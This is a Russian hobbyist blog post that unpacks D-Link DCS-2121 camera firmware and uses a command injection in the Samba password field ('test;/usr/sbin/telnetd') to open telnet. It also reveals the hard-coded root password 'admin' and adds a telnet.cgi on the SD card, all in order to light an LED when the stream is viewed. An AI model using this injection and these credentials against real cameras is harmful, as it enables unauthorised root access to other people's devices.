Исследуем firmware камеры D-Link DCS-2121

в 13:14, , рубрики: web-камера, информационная безопасность, метки:

Около года назад приобрел камеру D-Link DCS-2121.

Исследуем firmware камеры D Link DCS 2121

Вот ее краткие характеристики:

  • Разрешение 1 Мп
  • Микрофон
  • Поддержка WiFi
  • Web-интерфейс для доступа к данным
  • Запись на SD-карту
  • Детектор движения
  • Внешние логические выходы для подключения к сигнализации

Установлена она была дома, подключена к zoneminder для видеонаблюдения и записи.
Для упрощения доступа сделал «секретную» страничку на домашнем веб-сервере, защищенную паролем, чтобы домашние могли заглядывать в камеру, находясь вне дома. Понятное дело, что на эту «секретную» страничку может заглянуть любой, и это меня здорово беспокоило – никак нельзя понять, смотрит сейчас кто-нибудь в камеру или нет. Отказаться от странички тоже не было возможности по некоторым причинам, не суть важно.

D-Link во все свои устройства встраивает linux. Решил на досуге «поковыряться» в прошивке, вдруг смогу найти в ней что-нибудь интересное.

Для начала скачал последнюю версию с сайта D-Link:

wget http://ftp.dlink.ru/pub/Multimedia/DCS-2121/Firmware/DCS-2102_DCS-2121_A3_FWv.1.06_5731.rar

Прошивка представляет собой обычный самораспаковывающийся shell-скрипт с бинарной частью в конце. Весь смысл скрипта сводится к тому, чтобы отделить бинарную часть и распаковать ее с помощью некой программы ddPack, которая находится на устройстве. Проблема только в том, что я не знаю как она работает.

D-Link любит упаковывать свои прошивки в cramfs, логично было бы предположить, что и на этот раз ничего не изменилось, поэтому пробуем поискать ее «magic»-байты – 0x28cd3d45.

perl -ln0777e 'print pos()-4 while /(x45x3dxcdx28)/g' update_DCS-2102_DCS-2121_1.06_5731.bin

Последовательност была найдена, полученное смещение 1072552.

С помощью dd отделяем раздел с cramfs от остальной бинарной части:

dd if=update_DCS-2102_DCS-2121_1.06_5731.bin of=cramfs bs=1072552 skip=1

На всякий случай проверим:

root@server:/# file cramfs 
cramfs: Linux Compressed ROM File System data, little endian size 5926912 version #2 sorted_dirs CRC 0x701ef55d, edition 0, 3667 blocks, 1255 files

Отлично, это именно то, что нам нужно. Монтируем раздел:

mount -o loop,ro cramfs /mnt/tmp

Теперь можно посмотреть, что внутри камеры.

Из прошивки становится понятно, что файловая система монтируется только для чтения, часть конфигурационных файлов генерируют скрипты в /tmp (tmpfs). SD-карта монтируется в /mnt/usb (ext2). В качестве web-сервера используется lighttpd, файлы лежат в /var/www.

Большинство cgi-скриптов являются символическими ссылками на один бинарный cgi – /var/www/cgi.
Было решено проверить этот скрипт на semicolon injection:

root@server:/mnt/var/www/cgi# strings cgibox |grep -E "/.*%s$"
smbmount //%s/%s %s -o username=%s,password=%s
smbmount //%s/%s %s -o username=%s,password=%s

и вот он. Параметры, передаваемые smbmount, никак не проверяются.
Для проверки заходим в web-интерфейс камеры в Setup -> Recording, включем «Enable recording», выбираем «Samba Network Drive» и вбиваем во все поля test, чтобы посмотреть как камера отреагирует на ошибку.

Скриншот

Исследуем firmware камеры D Link DCS 2121

Теперь попробуем в полях «Password» и «Password confirm» написать что-то навроде «test;/bin/true».
Нам повезло, камера весело откликнулась Ok.

Скриншот

Исследуем firmware камеры D Link DCS 2121

В таком случае пробуем вписать туда «test;/usr/sbin/telnetd» и… telnet-доступ открылся:

user@workstation ~$ telnet cam.home
Trying 192.168.1.100...
Connected to cam.home.
Escape character is '^]'.
Living_Room login:

Осталось немного – подобрать логин и пароль. /etc/passwd и /etc/shadow являются символическими ссылками на одноименные файлы в /tmp, следовательно, их генерируют скрипты. Находим упоминания об этом в /etc/rc.d/rc.local:

start() {
	touch /tmp/group /tmp/passwd /tmp/shadow
	echo 'root:x:0:' > /etc/group
	echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
	echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow

Путем нехитрых манипуляция с гуглом выясняем, что данному хэшу соответствует пароль admin… Мило.

Логинимся:

user@workstation ~$ telnet cam.home
Trying 192.168.1.100...
Connected to cam.home.
Escape character is '^]'.
Living_Room login: root
Password: 

BusyBox v1.01 (2011.08.30-16:09+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # uname -a
Linux Living_Room 2.4.19-pl1029 #1 Wed Aug 31 00:10:54 CST 2011 armv4l unknown

Как видим, внутри линукс на ядре 2.4.19, архитектура arm.

Дальнейшие поиски какого-нибудь скрипта, который позволит запускать telnetd во время загрузки камеры оказались неуспешными, но был обнаружен другой, не менее интересный способ запуска демона.
В /var/www была найдена символическая ссылка /var/www/sdcard -> /mnt/usb.
Так как, судя по конфигурационному файлу, web-сервер позволяет выполнять любые файлы с расширением cgi, оказалось, что достаточно просто положить файл telnet.cgi на SD-карту (/mnt/usb/telnet.cgi):

#!/bin/sh

/usr/sbin/telnetd >/dev/null 2>&1 &

echo Telnet started, login with root/admin

exit 0

И теперь запускать telnetd можно прямо из web-интерфейса, вызвав наш cgi по адресу /sdcard/telnet.cgi.

Я стал думать как можно использовать это интересное свойство в своих целях.

Среди всех программ, была найдена одна с интригующим названием – /bin/light. При запуске она выдает следующий список параметров:

light [out1|out2|out3|out4|led|power|active|wpsLed|rs485|ir|irupper] [on|off]

Попробовав разные варианты, я выяснил, что /bin/light позволяет включать-выключать светодиоды, управлять внешними выходами.
Индикатор power/active включить не получилось, он загорается на мгновение и тут же гаснет (у меня в настройках выключена индикация).Гасит этот индикатор демон watchDog, отключить его нельзя.
А вот светодиод wpsLed, находящийся с задней стороны камеры, вполне свободен, при его включении, на фоне камеры появляется красивая синяя подстветка.
Решено, попробуем использовать его в качестве индикации того, что кто-то сейчас смотрит в камеру.

Раньше, для доступа к картинке с камеры, я использовал первый профиль в режиме mjpeg. Он доступен по адресу /video/mjpg.cgi?profileid=1. С помощью nginx я проксировал внешнюю ссылку на этот адрес.

На SD-карте было создано два файла:
Первый — light.sh:

#!/bin/sh

/bin/light wpsLed on >/dev/null 2>&1 &
sleep 3
/bin/light wpsLed off >/dev/null 2>&1 &
exit 0

Смысл его понятен — включить на 3 секунды подсветку.

и второй — light.cgi:

#!/bin/sh

/usr/bin/killall light.sh >/dev/null 2>&1
/mnt/usb/light.sh >/dev/null 2>&1 &
exit 0

Задумка была такова, что если дергать постоянно light.cgi, то будет включена подсветка, если перестать, то подсветка гаснет.

Теперь нужно научиться как-то передавать картинку с камеры и периодически вызывать light.cgi.
Для этой задачи был написан php-скрипт. Пусть тяжеловато, но другого способа передавать данные и одновременно дергать скрипт для поддержки индикации, я не нашел.
Скрипт называется index.php.

Исходный код index.php

<?php
        if (!preg_match('/cam$/', $_SERVER["REQUEST_URI"])) {
                echo '<html><head></head><body><img src="?cam"></body></html>';
                exit;
        }
        $host = 'cam.home';

        $user = 'viewer';
        $pass = 'password';
        $br = "rn";
        
        function light() {
                global $host, $user, $pass, $br;

                $socket_l=fsockopen($host, 80, $errno, $errstr, 10);

                $headers_l=array(
                        'GET /sdcard/light.cgi HTTP/1.0',
                        'Host: '.$host,
                        'User-Agent: MyUserAgent',
                        'Authorization: Basic '.base64_encode($user.':'.$pass)
                );
                fwrite($socket_l, implode($br, $headers_l).$br.$br);
                fclose($socket_l);
        }

        $socket=fsockopen($host, 80, $errno, $errstr, 10);

        $headers=array(
                'GET /video/mjpg.cgi?profileid=1 HTTP/1.0',
                'Host: '.$host,
                'User-Agent: MyUserAgent',
                'Authorization: Basic '.base64_encode($user.':'.$pass)
        );
        fwrite($socket, implode($br, $headers).$br.$br);

        fgets($socket,1024); // HTTP request line
        while(!feof($socket)) { // headers
                $hdr = fgets($socket,1024);
                if ($hdr == "rn") break;
                header($hdr);
        }
        $beginTime = 0;
        while(!feof($socket)) { // data
                $data = fgets($socket,1024);
                if (microtime(true) - $beginTime >= 2) {
                        $beginTime = microtime(true);
                        light();
                }
                echo $data;
        }
?>

При вызове без параметров он выводит простейший html со вставленной картинкой. При вызове с параметром cam (index.php?cam) возвращает саму картинку, не забывая периодически вызывать скрипт включения подсветки. Таким образом, просматривающему камеру, обойти включение подсветки невозможно.

Теперь домашние обращаются к этому php-скрипту. Они видят картинку с камеры, а я всегда точно знаю, когда в камеру кто-то смотрит.

Вот так я интересно провел время, да и результат меня более чем устраивает.
Надеюсь и вам пригодится.

Автор: nikbyte

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js